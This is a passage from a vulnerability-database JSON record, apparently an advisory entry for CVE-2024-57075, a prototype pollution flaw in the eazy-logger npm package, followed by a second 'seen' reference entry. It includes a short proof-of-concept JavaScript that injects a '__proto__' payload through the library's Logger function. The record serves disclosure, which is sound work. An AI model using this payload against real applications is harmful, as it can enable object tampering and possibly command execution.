For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., `child_process.exec`, `eval`), it could enable an attacker to execute arbitrary commands within the application's context.\n\n## Proof of Concept\n\n```js\n(async () => {\nconst lib = await import('eazy-logger');\nvar someObj = {}\nconsole.log(\"Before Attack: \", JSON.stringify({}.__proto__));\ntry {\n// for multiple functions, uncomment only one for each execution.\nlib.Logger (JSON.parse('{\"__proto__\":{\"pollutedKey\":123}}'))\n} catch (e) { }\nconsole.log(\"After Attack: \", JSON.stringify({}.__proto__));\ndelete Object.prototype.pollutedKey;\n})();\n```\n\ud83d\udccf Published: 2025-02-06T06:31:26Z\n\ud83d\udccf Modified: 2025-02-07T14:34:53Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-57075\n2. https://gist.github.com/tariqhawis/c601f7f85146510ca899a7406a03aba5\n3. https://github.com/shakyShane/eazy-logger", "creation_timestamp": "2025-02-07T15:02:10.000000Z"}, {"uuid": "fb8dba5c-ec78-46ab-9e6a-ef0f2935f4cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-57075", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhhlxm7vmt2n", "content": "", "creation_timestamp": "2025-02-05T22:16:48.071296Z"}]}
